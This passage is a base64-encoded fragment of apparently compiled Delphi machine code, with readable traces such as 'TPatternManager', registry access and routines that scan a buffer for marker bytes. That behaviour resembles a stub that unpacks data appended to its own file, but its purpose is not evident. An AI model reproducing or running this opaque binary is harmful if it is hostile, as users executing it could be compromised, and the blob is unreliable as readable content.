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 